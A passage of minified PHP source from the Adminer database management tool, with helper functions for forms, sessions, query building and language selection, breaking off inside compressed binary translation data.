remove_slashes($Qf,$Lc=false){if(get_magic_quotes_gpc()){while(list($y,$X)=each($Qf)){foreach($X as$Kd=>$W){unset($Qf[$y][$Kd]);if(is_array($W)){$Qf[$y][stripslashes($Kd)]=$W;$Qf[]=&$Qf[$y][stripslashes($Kd)];}else$Qf[$y][stripslashes($Kd)]=($Lc?$W:stripslashes($W));}}}}function bracket_escape($u,$Na=false){static$Gh=array(':'=>':1',']'=>':2','['=>':3','"'=>':4');return strtr($u,($Na?array_flip($Gh):$Gh));}function charset($g){return(version_compare($g->server_info,"5.5.3")>=0?"utf8mb4":"utf8");}function h($Q){return str_replace("\0","�",htmlspecialchars($Q,ENT_QUOTES,'utf-8'));}function nbsp($Q){return(trim($Q)!=""?h($Q):" ");}function nl_br($Q){return str_replace("\n","<br>",$Q);}function checkbox($C,$Y,$db,$Rd="",$Ve="",$ib="",$Sd=""){$J="<input type='checkbox' name='$C' value='".h($Y)."'".($db?" checked":"").($Sd?" aria-labelledby='$Sd'":"").($Ve?' onclick="'.h($Ve).'"':'').">";return($Rd!=""||$ib?"<label".($ib?" class='$ib'":"").">$J".h($Rd)."</label>":$J);}function optionlist($bf,$Bg=null,$ei=false){$J="";foreach($bf as$Kd=>$W){$cf=array($Kd=>$W);if(is_array($W)){$J.='<optgroup label="'.h($Kd).'">';$cf=$W;}foreach($cf as$y=>$X)$J.='<option'.($ei||is_string($y)?' value="'.h($y).'"':'').(($ei||is_string($y)?(string)$y:$X)===$Bg?' selected':'').'>'.h($X);if(is_array($W))$J.='</optgroup>';}return$J;}function html_select($C,$bf,$Y="",$Ue=true,$Sd=""){if($Ue)return"<select name='".h($C)."'".(is_string($Ue)?' onchange="'.h($Ue).'"':"").($Sd?" aria-labelledby='$Sd'":"").">".optionlist($bf,$Y)."</select>";$J="";foreach($bf as$y=>$X)$J.="<label><input type='radio' name='".h($C)."' value='".h($y)."'".($y==$Y?" checked":"").">".h($X)."</label>";return$J;}function select_input($Ja,$bf,$Y="",$Cf=""){return($bf?"<select$Ja><option value=''>$Cf".optionlist($bf,$Y,true)."</select>":"<input$Ja size='10' value='".h($Y)."' placeholder='$Cf'>");}function confirm(){return" onclick=\"return confirm('".lang(0)."');\"";}function print_fieldset($t,$ae,$pi=false,$Ve=""){echo"<fieldset><legend><a href='#fieldset-$t' onclick=\"".h($Ve)."return !toggle('fieldset-$t');\">$ae</a></legend><div id='fieldset-$t'".($pi?"":" class='hidden'").">\n";}function bold($Va,$ib=""){return($Va?" class='active $ib'":($ib?" class='$ib'":""));}function odd($J=' class="odd"'){static$s=0;if(!$J)$s=-1;return($s++%2?$J:'');}function js_escape($Q){return addcslashes($Q,"\r\n'\\/");}function json_row($y,$X=null){static$Mc=true;if($Mc)echo"{";if($y!=""){echo($Mc?"":",")."\n\t\"".addcslashes($y,"\r\n\t\"\\/").'": '.($X!==null?'"'.addcslashes($X,"\r\n\"\\/").'"':'null');$Mc=false;}else{echo"\n}\n";$Mc=true;}}function ini_bool($xd){$X=ini_get($xd);return(preg_match('~^(on|true|yes)$~i',$X)||(int)$X);}function sid(){static$J;if($J===null)$J=(SID&&!($_COOKIE&&ini_bool("session.use_cookies")));return$J;}function set_password($li,$N,$V,$G){$_SESSION["pwds"][$li][$N][$V]=($_COOKIE["adminer_key"]&&is_string($G)?array(encrypt_string($G,$_COOKIE["adminer_key"])):$G);}function get_password(){$J=get_session("pwds");if(is_array($J))$J=($_COOKIE["adminer_key"]?decrypt_string($J[0],$_COOKIE["adminer_key"]):false);return$J;}function q($Q){global$g;return$g->quote($Q);}function get_vals($H,$d=0){global$g;$J=array();$I=$g->query($H);if(is_object($I)){while($K=$I->fetch_row())$J[]=$K[$d];}return$J;}function get_key_vals($H,$h=null,$wh=0){global$g;if(!is_object($h))$h=$g;$J=array();$h->timeout=$wh;$I=$h->query($H);$h->timeout=0;if(is_object($I)){while($K=$I->fetch_row())$J[$K[0]]=$K[1];}return$J;}function get_rows($H,$h=null,$n="<p class='error'>"){global$g;$vb=(is_object($h)?$h:$g);$J=array();$I=$vb->query($H);if(is_object($I)){while($K=$I->fetch_assoc())$J[]=$K;}elseif(!$I&&!is_object($h)&&$n&&defined("PAGE_HEADER"))echo$n.error()."\n";return$J;}function unique_array($K,$w){foreach($w as$v){if(preg_match("~PRIMARY|UNIQUE~",$v["type"])){$J=array();foreach($v["columns"]as$y){if(!isset($K[$y]))continue 2;$J[$y]=$K[$y];}return$J;}}}function escape_key($y){if(preg_match('(^([\w(]+)('.str_replace("_",".*",preg_quote(idf_escape("_"))).')([ \w)]+)$)',$y,$B))return$B[1].idf_escape(idf_unescape($B[2])).$B[3];return idf_escape($y);}function where($Z,$p=array()){global$g,$x;$J=array();foreach((array)$Z["where"]as$y=>$X){$y=bracket_escape($y,1);$d=escape_key($y);$J[]=$d.($x=="sql"&&preg_match('~^[0-9]*\\.[0-9]*$~',$X)?" LIKE ".q(addcslashes($X,"%_\\")):($x=="mssql"?" LIKE ".q(preg_replace('~[_%[]~','[\0]',$X)):" = ".unconvert_field($p[$y],q($X))));if($x=="sql"&&preg_match('~char|text~',$p[$y]["type"])&&preg_match("~[^ -@]~",$X))$J[]="$d = ".q($X)." COLLATE ".charset($g)."_bin";}foreach((array)$Z["null"]as$y)$J[]=escape_key($y)." IS NULL";return implode(" AND ",$J);}function where_check($X,$p=array()){parse_str($X,$bb);remove_slashes(array(&$bb));return where($bb,$p);}function where_link($s,$d,$Y,$Xe="="){return"&where%5B$s%5D%5Bcol%5D=".urlencode($d)."&where%5B$s%5D%5Bop%5D=".urlencode(($Y!==null?$Xe:"IS NULL"))."&where%5B$s%5D%5Bval%5D=".urlencode($Y);}function convert_fields($e,$p,$M=array()){$J="";foreach($e as$y=>$X){if($M&&!in_array(idf_escape($y),$M))continue;$Ga=convert_field($p[$y]);if($Ga)$J.=", $Ga AS ".idf_escape($y);}return$J;}function cookie($C,$Y,$de=2592000){global$ba;return header("Set-Cookie: $C=".urlencode($Y).($de?"; expires=".gmdate("D, d M Y H:i:s",time()+$de)." GMT":"")."; path=".preg_replace('~\\?.*~','',$_SERVER["REQUEST_URI"]).($ba?"; secure":"")."; HttpOnly; SameSite=lax",false);}function restart_session(){if(!ini_bool("session.use_cookies"))session_start();}function stop_session(){if(!ini_bool("session.use_cookies"))session_write_close();}function&get_session($y){return$_SESSION[$y][DRIVER][SERVER][$_GET["username"]];}function set_session($y,$X){$_SESSION[$y][DRIVER][SERVER][$_GET["username"]]=$X;}function auth_url($li,$N,$V,$m=null){global$Yb;preg_match('~([^?]*)\\??(.*)~',remove_from_uri(implode("|",array_keys($Yb))."|username|".($m!==null?"db|":"").session_name()),$B);return"$B[1]?".(sid()?SID."&":"").($li!="server"||$N!=""?urlencode($li)."=".urlencode($N)."&":"")."username=".urlencode($V).($m!=""?"&db=".urlencode($m):"").($B[2]?"&$B[2]":"");}function is_ajax(){return($_SERVER["HTTP_X_REQUESTED_WITH"]=="XMLHttpRequest");}function redirect($A,$se=null){if($se!==null){restart_session();$_SESSION["messages"][preg_replace('~^[^?]*~','',($A!==null?$A:$_SERVER["REQUEST_URI"]))][]=$se;}if($A!==null){if($A=="")$A=".";header("Location: $A");exit;}}function query_redirect($H,$A,$se,$ag=true,$xc=true,$Ec=false,$vh=""){global$g,$n,$b;if($xc){$Vg=microtime(true);$Ec=!$g->query($H);$vh=format_time($Vg);}$Tg="";if($H)$Tg=$b->messageQuery($H,$vh);if($Ec){$n=error().$Tg;return false;}if($ag)redirect($A,$se.$Tg);return true;}function queries($H){global$g;static$Uf=array();static$Vg;if(!$Vg)$Vg=microtime(true);if($H===null)return array(implode("\n",$Uf),format_time($Vg));$Uf[]=(preg_match('~;$~',$H)?"DELIMITER ;;\n$H;\nDELIMITER ":$H).";";return$g->query($H);}function apply_queries($H,$T,$tc='table'){foreach($T as$R){if(!queries("$H ".$tc($R)))return false;}return true;}function queries_redirect($A,$se,$ag){list($Uf,$vh)=queries(null);return query_redirect($Uf,$A,$se,$ag,false,!$ag,$vh);}function format_time($Vg){return lang(1,max(0,microtime(true)-$Vg));}function remove_from_uri($qf=""){return substr(preg_replace("~(?<=[?&])($qf".(SID?"":"|".session_name()).")=[^&]*&~",'',"$_SERVER[REQUEST_URI]&"),0,-1);}function pagination($E,$Eb){return" ".($E==$Eb?$E+1:'<a href="'.h(remove_from_uri("page").($E?"&page=$E".($_GET["next"]?"&next=".urlencode($_GET["next"]):""):"")).'">'.($E+1)."</a>");}function get_file($y,$Lb=false){$Jc=$_FILES[$y];if(!$Jc)return null;foreach($Jc as$y=>$X)$Jc[$y]=(array)$X;$J='';foreach($Jc["error"]as$y=>$n){if($n)return$n;$C=$Jc["name"][$y];$Ch=$Jc["tmp_name"][$y];$xb=file_get_contents($Lb&&preg_match('~\\.gz$~',$C)?"compress.zlib://$Ch":$Ch);if($Lb){$Vg=substr($xb,0,3);if(function_exists("iconv")&&preg_match("~^\xFE\xFF|^\xFF\xFE~",$Vg,$gg))$xb=iconv("utf-16","utf-8",$xb);elseif($Vg=="\xEF\xBB\xBF")$xb=substr($xb,3);$J.=$xb."\n\n";}else$J.=$xb;}return$J;}function upload_error($n){$pe=($n==UPLOAD_ERR_INI_SIZE?ini_get("upload_max_filesize"):0);return($n?lang(2).($pe?" ".lang(3,$pe):""):lang(4));}function repeat_pattern($Af,$be){return str_repeat("$Af{0,65535}",$be/65535)."$Af{0,".($be%65535)."}";}function is_utf8($X){return(preg_match('~~u',$X)&&!preg_match('~[\\0-\\x8\\xB\\xC\\xE-\\x1F]~',$X));}function shorten_utf8($Q,$be=80,$bh=""){if(!preg_match("(^(".repeat_pattern("[\t\r\n -\x{10FFFF}]",$be).")($)?)u",$Q,$B))preg_match("(^(".repeat_pattern("[\t\r\n -~]",$be).")($)?)",$Q,$B);return h($B[1]).$bh.(isset($B[2])?"":"<i>...</i>");}function format_number($X){return strtr(number_format($X,0,".",lang(5)),preg_split('~~u',lang(6),-1,PREG_SPLIT_NO_EMPTY));}function friendly_url($X){return preg_replace('~[^a-z0-9_]~i','-',$X);}function hidden_fields($Qf,$qd=array()){while(list($y,$X)=each($Qf)){if(!in_array($y,$qd)){if(is_array($X)){foreach($X as$Kd=>$W)$Qf[$y."[$Kd]"]=$W;}else echo'<input type="hidden" name="'.h($y).'" value="'.h($X).'">';}}}function hidden_fields_get(){echo(sid()?'<input type="hidden" name="'.session_name().'" value="'.h(session_id()).'">':''),(SERVER!==null?'<input type="hidden" name="'.DRIVER.'" value="'.h(SERVER).'">':""),'<input type="hidden" name="username" value="'.h($_GET["username"]).'">';}function table_status1($R,$Fc=false){$J=table_status($R,$Fc);return($J?$J:array("Name"=>$R));}function column_foreign_keys($R){global$b;$J=array();foreach($b->foreignKeys($R)as$q){foreach($q["source"]as$X)$J[$X][]=$q;}return$J;}function enum_input($U,$Ja,$o,$Y,$nc=null){global$b;preg_match_all("~'((?:[^']|'')*)'~",$o["length"],$ke);$J=($nc!==null?"<label><input type='$U'$Ja value='$nc'".((is_array($Y)?in_array($nc,$Y):$Y===0)?" checked":"")."><i>".lang(7)."</i></label>":"");foreach($ke[1]as$s=>$X){$X=stripcslashes(str_replace("''","'",$X));$db=(is_int($Y)?$Y==$s+1:(is_array($Y)?in_array($s+1,$Y):$Y===$X));$J.=" <label><input type='$U'$Ja value='".($s+1)."'".($db?' checked':'').'>'.h($b->editVal($X,$o)).'</label>';}return$J;}function input($o,$Y,$r){global$g,$Rh,$b,$x;$C=h(bracket_escape($o["field"]));echo"<td class='function'>";if(is_array($Y)&&!$r){$Ea=array($Y);if(version_compare(PHP_VERSION,5.4)>=0)$Ea[]=JSON_PRETTY_PRINT;$Y=call_user_func_array('json_encode',$Ea);$r="json";}$jg=($x=="mssql"&&$o["auto_increment"]);if($jg&&!$_POST["save"])$r=null;$Zc=(isset($_GET["select"])||$jg?array("orig"=>lang(8)):array())+$b->editFunctions($o);$Ja=" name='fields[$C]'";if($o["type"]=="enum")echo nbsp($Zc[""])."<td>".$b->editInput($_GET["edit"],$o,$Ja,$Y);else{$Mc=0;foreach($Zc as$y=>$X){if($y===""||!$X)break;$Mc++;}$Ue=($Mc?" onchange=\"var f = this.form['function[".h(js_escape(bracket_escape($o["field"])))."]']; if ($Mc > f.selectedIndex) f.selectedIndex = $Mc;\" onkeyup='keyupChange.call(this);'":"");$Ja.=$Ue;$hd=(in_array($r,$Zc)||isset($Zc[$r]));echo(count($Zc)>1?"<select name='function[$C]' onchange='functionChange(this);'".on_help("getTarget(event).value.replace(/^SQL\$/, '')",1).">".optionlist($Zc,$r===null||$hd?$r:"")."</select>":nbsp(reset($Zc))).'<td>';$zd=$b->editInput($_GET["edit"],$o,$Ja,$Y);if($zd!="")echo$zd;elseif(preg_match('~bool~',$o["type"]))echo"<input type='hidden'$Ja value='0'>"."<input type='checkbox'".(in_array(strtolower($Y),array('1','t','true','y','yes','on'))?" checked='checked'":"")."$Ja value='1'>";elseif($o["type"]=="set"){preg_match_all("~'((?:[^']|'')*)'~",$o["length"],$ke);foreach($ke[1]as$s=>$X){$X=stripcslashes(str_replace("''","'",$X));$db=(is_int($Y)?($Y>>$s)&1:in_array($X,explode(",",$Y),true));echo" <label><input type='checkbox' name='fields[$C][$s]' value='".(1<<$s)."'".($db?' checked':'')."$Ue>".h($b->editVal($X,$o)).'</label>';}}elseif(preg_match('~blob|bytea|raw|file~',$o["type"])&&ini_bool("file_uploads"))echo"<input type='file' name='fields-$C'$Ue>";elseif(($th=preg_match('~text|lob~',$o["type"]))||preg_match("~\n~",$Y)){if($th&&$x!="sqlite")$Ja.=" cols='50' rows='12'";else{$L=min(12,substr_count($Y,"\n")+1);$Ja.=" cols='30' rows='$L'".($L==1?" style='height: 1.2em;'":"");}echo"<textarea$Ja>".h($Y).'</textarea>';}elseif($r=="json"||preg_match('~^jsonb?$~',$o["type"]))echo"<textarea$Ja cols='50' rows='12' class='jush-js'>".h($Y).'</textarea>';else{$re=(!preg_match('~int~',$o["type"])&&preg_match('~^(\\d+)(,(\\d+))?$~',$o["length"],$B)?((preg_match("~binary~",$o["type"])?2:1)*$B[1]+($B[3]?1:0)+($B[2]&&!$o["unsigned"]?1:0)):($Rh[$o["type"]]?$Rh[$o["type"]]+($o["unsigned"]?0:1):0));if($x=='sql'&&$g->server_info>=5.6&&preg_match('~time~',$o["type"]))$re+=7;echo"<input".((!$hd||$r==="")&&preg_match('~(?<!o)int~',$o["type"])&&!preg_match('~\[\]~',$o["full_type"])?" type='number'":"")." value='".h($Y)."'".($re?" data-maxlength='$re'":"").(preg_match('~char|binary~',$o["type"])&&$re>20?" size='40'":"")."$Ja>";}}}function process_input($o){global$b;$u=bracket_escape($o["field"]);$r=$_POST["function"][$u];$Y=$_POST["fields"][$u];if($o["type"]=="enum"){if($Y==-1)return false;if($Y=="")return"NULL";return+$Y;}if($o["auto_increment"]&&$Y=="")return null;if($r=="orig")return($o["on_update"]=="CURRENT_TIMESTAMP"?idf_escape($o["field"]):false);if($r=="NULL")return"NULL";if($o["type"]=="set")return array_sum((array)$Y);if($r=="json"){$r="";$Y=json_decode($Y,true);if(!is_array($Y))return false;return$Y;}if(preg_match('~blob|bytea|raw|file~',$o["type"])&&ini_bool("file_uploads")){$Jc=get_file("fields-$u");if(!is_string($Jc))return false;return q($Jc);}return$b->processInput($o,$Y,$r);}function fields_from_edit(){global$Xb;$J=array();foreach((array)$_POST["field_keys"]as$y=>$X){if($X!=""){$X=bracket_escape($X);$_POST["function"][$X]=$_POST["field_funs"][$y];$_POST["fields"][$X]=$_POST["field_vals"][$y];}}foreach((array)$_POST["fields"]as$y=>$X){$C=bracket_escape($y,1);$J[$C]=array("field"=>$C,"privileges"=>array("insert"=>1,"update"=>1),"null"=>1,"auto_increment"=>($y==$Xb->primary),);}return$J;}function search_tables(){global$b,$g;$_GET["where"][0]["op"]="LIKE %%";$_GET["where"][0]["val"]=$_POST["query"];$Vc=false;foreach(table_status('',true)as$R=>$S){$C=$b->tableName($S);if(isset($S["Engine"])&&$C!=""&&(!$_POST["tables"]||in_array($R,$_POST["tables"]))){$I=$g->query("SELECT".limit("1 FROM ".table($R)," WHERE ".implode(" AND ",$b->selectSearchProcess(fields($R),array())),1));if(!$I||$I->fetch_row()){if(!$Vc){echo"<ul>\n";$Vc=true;}echo"<li>".($I?"<a href='".h(ME."select=".urlencode($R)."&where[0][op]=".urlencode($_GET["where"][0]["op"])."&where[0][val]=".urlencode($_GET["where"][0]["val"]))."'>$C</a>\n":"$C: <span class='error'>".error()."</span>\n");}}}echo($Vc?"</ul>":"<p class='message'>".lang(9))."\n";}function dump_headers($od,$Ae=false){global$b;$J=$b->dumpHeaders($od,$Ae);$of=$_POST["output"];if($of!="text")header("Content-Disposition: attachment; filename=".$b->dumpFilename($od).".$J".($of!="file"&&!preg_match('~[^0-9a-z]~',$of)?".$of":""));session_write_close();ob_flush();flush();return$J;}function dump_csv($K){foreach($K as$y=>$X){if(preg_match("~[\"\n,;\t]~",$X)||$X==="")$K[$y]='"'.str_replace('"','""',$X).'"';}echo implode(($_POST["format"]=="csv"?",":($_POST["format"]=="tsv"?"\t":";")),$K)."\r\n";}function apply_sql_function($r,$d){return($r?($r=="unixepoch"?"DATETIME($d, '$r')":($r=="count distinct"?"COUNT(DISTINCT ":strtoupper("$r("))."$d)"):$d);}function get_temp_dir(){$J=ini_get("upload_tmp_dir");if(!$J){if(function_exists('sys_get_temp_dir'))$J=sys_get_temp_dir();else{$Kc=@tempnam("","");if(!$Kc)return false;$J=dirname($Kc);unlink($Kc);}}return$J;}function password_file($i){$Kc=get_temp_dir()."/adminer.key";$J=@file_get_contents($Kc);if($J||!$i)return$J;$Xc=@fopen($Kc,"w");if($Xc){chmod($Kc,0660);$J=rand_string();fwrite($Xc,$J);fclose($Xc);}return$J;}function rand_string(){return md5(uniqid(mt_rand(),true));}function select_value($X,$_,$o,$uh){global$b,$ba;if(is_array($X)){$J="";foreach($X as$Kd=>$W)$J.="<tr>".($X!=array_values($X)?"<th>".h($Kd):"")."<td>".select_value($W,$_,$o,$uh);return"<table cellspacing='0'>$J</table>";}if(!$_)$_=$b->selectLink($X,$o);if($_===null){if(is_mail($X))$_="mailto:$X";if($Sf=is_url($X))$_=(($Sf=="http"&&$ba)||preg_match('~WebKit|Firefox~i',$_SERVER["HTTP_USER_AGENT"])?$X:"https://www.adminer.org/redirect/?url=".urlencode($X));}$J=$b->editVal($X,$o);if($J!==null){if($J==="")$J=" ";elseif(!is_utf8($J))$J="\0";elseif($uh!=""&&is_shortable($o))$J=shorten_utf8($J,max(0,+$uh));else$J=h($J);}return$b->selectVal($J,$_,$o,$X);}function is_mail($kc){$Ha='[-a-z0-9!#$%&\'*+/=?^_`{|}~]';$Wb='[a-z0-9]([-a-z0-9]{0,61}[a-z0-9])';$Af="$Ha+(\\.$Ha+)*@($Wb?\\.)+$Wb";return is_string($kc)&&preg_match("(^$Af(,\\s*$Af)*\$)i",$kc);}function is_url($Q){$Wb='[a-z0-9]([-a-z0-9]{0,61}[a-z0-9])';return(preg_match("~^(https?)://($Wb?\\.)+$Wb(:\\d+)?(/.*)?(\\?.*)?(#.*)?\$~i",$Q,$B)?strtolower($B[1]):"");}function is_shortable($o){return preg_match('~char|text|lob|geometry|point|linestring|polygon|string|bytea~',$o["type"]);}function count_rows($R,$Z,$Ed,$cd){global$x;$H=" FROM ".table($R).($Z?" WHERE ".implode(" AND ",$Z):"");return($Ed&&($x=="sql"||count($cd)==1)?"SELECT COUNT(DISTINCT ".implode(", ",$cd).")$H":"SELECT COUNT(*)".($Ed?" FROM (SELECT 1$H$dd) x":$H));}function slow_query($H){global$b,$Dh;$m=$b->database();$wh=$b->queryTimeout();if(support("kill")&&is_object($h=connect())&&($m==""||$h->select_db($m))){$Pd=$h->result(connection_id());echo'<script type="text/javascript"> var timeout = setTimeout(function () { ajax(\'',js_escape(ME),'script=kill\', function () { }, \'token=',$Dh,'&kill=',$Pd,'\'); }, ',1000*$wh,'); </script> ';}else$h=null;ob_flush();flush();$J=@get_key_vals($H,$h,$wh);if($h){echo"<script type='text/javascript'>clearTimeout(timeout);</script>\n";ob_flush();flush();}return array_keys($J);}function get_token(){$Xf=rand(1,1e6);return($Xf^$_SESSION["token"]).":$Xf";}function verify_token(){list($Dh,$Xf)=explode(":",$_POST["token"]);return($Xf^$_SESSION["token"])==$Dh;}function lzw_decompress($Ra){$Sb=256;$Sa=8;$kb=array();$lg=0;$mg=0;for($s=0;$s<strlen($Ra);$s++){$lg=($lg<<8)+ord($Ra[$s]);$mg+=8;if($mg>=$Sa){$mg-=$Sa;$kb[]=$lg>>$mg;$lg&=(1<<$mg)-1;$Sb++;if($Sb>>$Sa)$Sa++;}}$Rb=range("\0","\xFF");$J="";foreach($kb as$s=>$jb){$jc=$Rb[$jb];if(!isset($jc))$jc=$ti.$ti[0];$J.=$jc;if($s)$Rb[]=$ti.$jc[0];$ti=$jc;}return$J;}function on_help($qb,$Kg=0){return" onmouseover='helpMouseover(this, event, ".h($qb).", $Kg);' onmouseout='helpMouseout(this, event);'";}function edit_form($a,$p,$K,$Zh){global$b,$x,$Dh,$n;$gh=$b->tableName(table_status1($a,true));page_header(($Zh?lang(10):lang(11)),$n,array("select"=>array($a,$gh)),$gh);if($K===false)echo"<p class='error'>".lang(12)."\n";echo'<form action="" method="post" enctype="multipart/form-data" id="form"> ';if(!$p)echo"<p class='error'>".lang(13)."\n";else{echo"<table cellspacing='0' onkeydown='return editingKeydown(event);'>\n";foreach($p as$C=>$o){echo"<tr><th>".$b->fieldName($o);$Mb=$_GET["set"][bracket_escape($C)];if($Mb===null){$Mb=$o["default"];if($o["type"]=="bit"&&preg_match("~^b'([01]*)'\$~",$Mb,$gg))$Mb=$gg[1];}$Y=($K!==null?($K[$C]!=""&&$x=="sql"&&preg_match("~enum|set~",$o["type"])?(is_array($K[$C])?array_sum($K[$C]):+$K[$C]):$K[$C]):(!$Zh&&$o["auto_increment"]?"":(isset($_GET["select"])?false:$Mb)));if(!$_POST["save"]&&is_string($Y))$Y=$b->editVal($Y,$o);$r=($_POST["save"]?(string)$_POST["function"][$C]:($Zh&&$o["on_update"]=="CURRENT_TIMESTAMP"?"now":($Y===false?null:($Y!==null?'':'NULL'))));if(preg_match("~time~",$o["type"])&&$Y=="CURRENT_TIMESTAMP"){$Y="";$r="now";}input($o,$Y,$r);echo"\n";}if(!support("table"))echo"<tr>"."<th><input name='field_keys[]' onkeyup='keyupChange.call(this);' onchange='fieldChange(this);' value=''>"."<td class='function'>".html_select("field_funs[]",$b->editFunctions(array("null"=>isset($_GET["select"]))))."<td><input name='field_vals[]'>"."\n";echo"</table>\n";}echo"<p>\n";if($p){echo"<input type='submit' value='".lang(14)."'>\n";if(!isset($_GET["select"]))echo"<input type='submit' name='insert' value='".($Zh?lang(15)."' onclick='return !ajaxForm(this.form, \"".lang(16).'...", this)':lang(17))."' title='Ctrl+Shift+Enter'>\n";}echo($Zh?"<input type='submit' name='delete' value='".lang(18)."'".confirm().">\n":($_POST||!$p?"":"<script type='text/javascript'>focus(document.getElementById('form').getElementsByTagName('td')[1].firstChild);</script>\n"));if(isset($_GET["select"]))hidden_fields(array("check"=>(array)$_POST["check"],"clone"=>$_POST["clone"],"all"=>$_POST["all"]));echo'<input type="hidden" name="referer" value="',h(isset($_POST["referer"])?$_POST["referer"]:$_SERVER["HTTP_REFERER"]),'"> <input type="hidden" name="save" value="1"> <input type="hidden" name="token" value="',$Dh,'"> </form> ';}global$b,$g,$Yb,$gc,$qc,$n,$Zc,$ed,$ba,$yd,$x,$ca,$Ud,$Te,$Bf,$Yg,$id,$Dh,$Ih,$Rh,$Yh,$ia;if(!$_SERVER["REQUEST_URI"])$_SERVER["REQUEST_URI"]=$_SERVER["ORIG_PATH_INFO"];if(!strpos($_SERVER["REQUEST_URI"],'?')&&$_SERVER["QUERY_STRING"]!="")$_SERVER["REQUEST_URI"].="?$_SERVER[QUERY_STRING]";$ba=$_SERVER["HTTPS"]&&strcasecmp($_SERVER["HTTPS"],"off");@ini_set("session.use_trans_sid",false);session_cache_limiter("");if(!defined("SID")){session_name("adminer_sid");$F=array(0,preg_replace('~\\?.*~','',$_SERVER["REQUEST_URI"]),"",$ba);if(version_compare(PHP_VERSION,'5.2.0')>=0)$F[]=true;call_user_func_array('session_set_cookie_params',$F);session_start();}remove_slashes(array(&$_GET,&$_POST,&$_COOKIE),$Lc);if(get_magic_quotes_runtime())set_magic_quotes_runtime(false);@set_time_limit(0);@ini_set("zend.ze1_compatibility_mode",false);@ini_set("precision",20);$Ud=array('en'=>'English','ar'=>'العربية','bg'=>'Български','bn'=>'বাংলা','bs'=>'Bosanski','ca'=>'Català','cs'=>'Čeština','da'=>'Dansk','de'=>'Deutsch','el'=>'Ελληνικά','es'=>'Español','et'=>'Eesti','fa'=>'فارسی','fi'=>'Suomi','fr'=>'Français','gl'=>'Galego','hu'=>'Magyar','id'=>'Bahasa Indonesia','it'=>'Italiano','ja'=>'日本語','ko'=>'한국어','lt'=>'Lietuvių','nl'=>'Nederlands','no'=>'Norsk','pl'=>'Polski','pt'=>'Português','pt-br'=>'Português (Brazil)','ro'=>'Limba Română','ru'=>'Русский','sk'=>'Slovenčina','sl'=>'Slovenski','sr'=>'Српски','ta'=>'தமிழ்','th'=>'ภาษาไทย','tr'=>'Türkçe','uk'=>'Українська','vi'=>'Tiếng Việt','zh'=>'简体中文','zh-tw'=>'繁體中文',);function get_lang(){global$ca;return$ca;}function lang($u,$Ke=null){if(is_string($u)){$Ef=array_search($u,get_translations("en"));if($Ef!==false)$u=$Ef;}global$ca,$Ih;$Hh=($Ih[$u]?$Ih[$u]:$u);if(is_array($Hh)){$Ef=($Ke==1?0:($ca=='cs'||$ca=='sk'?($Ke&&$Ke<5?1:2):($ca=='fr'?(!$Ke?0:1):($ca=='pl'?($Ke%10>1&&$Ke%10<5&&$Ke/10%10!=1?1:2):($ca=='sl'?($Ke%100==1?0:($Ke%100==2?1:($Ke%100==3||$Ke%100==4?2:3))):($ca=='lt'?($Ke%10==1&&$Ke%100!=11?0:($Ke%10>1&&$Ke/10%10!=1?1:2)):($ca=='bs'||$ca=='ru'||$ca=='sr'||$ca=='uk'?($Ke%10==1&&$Ke%100!=11?0:($Ke%10>1&&$Ke%10<5&&$Ke/10%10!=1?1:2)):1)))))));$Hh=$Hh[$Ef];}$Ea=func_get_args();array_shift($Ea);$Uc=str_replace("%d","%s",$Hh);if($Uc!=$Hh)$Ea[0]=format_number($Ke);return vsprintf($Uc,$Ea);}function switch_lang(){global$ca,$Ud;echo"<form action='' method='post'>\n<div id='lang'>",lang(19).": ".html_select("lang",$Ud,$ca,"this.form.submit();")," <input type='submit' value='".lang(20)."' class='hidden'>\n","<input type='hidden' name='token' value='".get_token()."'>\n";echo"</div>\n</form>\n";}if(isset($_POST["lang"])&&verify_token()){cookie("adminer_lang",$_POST["lang"]);$_SESSION["lang"]=$_POST["lang"];$_SESSION["translations"]=array();redirect(remove_from_uri());}$ca="en";if(isset($Ud[$_COOKIE["adminer_lang"]])){cookie("adminer_lang",$_COOKIE["adminer_lang"]);$ca=$_COOKIE["adminer_lang"];}elseif(isset($Ud[$_SESSION["lang"]]))$ca=$_SESSION["lang"];else{$ua=array();preg_match_all('~([-a-z]+)(;q=([0-9.]+))?~',str_replace("_","-",strtolower($_SERVER["HTTP_ACCEPT_LANGUAGE"])),$ke,PREG_SET_ORDER);foreach($ke as$B)$ua[$B[1]]=(isset($B[3])?$B[3]:1);arsort($ua);foreach($ua as$y=>$Tf){if(isset($Ud[$y])){$ca=$y;break;}$y=preg_replace('~-.*~','',$y);if(!isset($ua[$y])&&isset($Ud[$y])){$ca=$y;break;}}}$Ih=$_SESSION["translations"];if($_SESSION["translations_version"]!=1854356247){$Ih=array();$_SESSION["translations_version"]=1854356247;}function get_translations($Td){switch($Td){case"en":$f="A9D�y�@s:�G�(�ff����� ��:�S���a2\"1�..L'�I��m�#�s,�K��OP#I�@%9��i4�o2ύ���,9�%�P�b2��a��r\n2�NC�(�r4��1C`(�:Eb�9A�i:�&㙔�y��F��Y��\r�\n� 8Z�S=\$A����`�=�܌���0�\n��dF� ��n:Zΰ)��Q�������Ak����}�e��AD���a�į���\\�}��5�#|@�h�3��N�}@��i���t���>��.y8Rm����\"3�z��#kN!-c䲉�(�;��X#��|�,�bz��ʢ���9>��):���C \0.#�Ӊ�z�7:���ތ��@�F�Px����C@�:�t�㼤\$jֿ�8�Dz���o(��M�ʎ�@��7�XD +/6�^0��}�|����(�L�H���ͮ-D�;���E!-8�63��@Ɍ��K�-\n,������<��MRUl��!��b_\n��OZ\r��� ���1�5�^2���LSc\rlӊtEè�ELO��3����LQ1�\0Sz<���,��Ȥ�q��9ikl*8��z3���ږX�Q'�� @�W����MO����x�C�<�!�0\nr,#^�c�9����(�N#����d��;�4��d�y&<����114��0�+���\"�ލGcp��9�c5���\0X�i����r~���u�с:��s�@ǯ�;��m۠0�e_��l2�;Y�JB!�b��ˍ�\\z�|�C2Θpk^�j�>���e�LOX�4�#&Ύ�����\\ ܔ%P�48EQbB����1!�R4�%I�t�)�ɸ�Թ1���2L�D�6\r�t�9,1��;O�A>Oܧ�0�����Z����-L8f�j\\TU��\"��2��O#\0-��.x�&��(��z��/��\0RH� \"q�����Mk�|��gbTK q0nA�������\$� 2➼I�5sUڝ�ֱ\")=�B]� K)��͙�|@C������\0��Һ�s��1��w��2���+�xS\n������MT��(̢����c<(,גS���.�l�P�XY�3\$x�(���\n&�ɒ0� �7�v�\"IH:\"KP��R�ۜ�F��H�p�p \n�@\"�@T�\"���/��V�0�����j>ȝ/����S�(�RR�Q�樣�tq�l�4𝧒|��B0e&XŚ���c��� 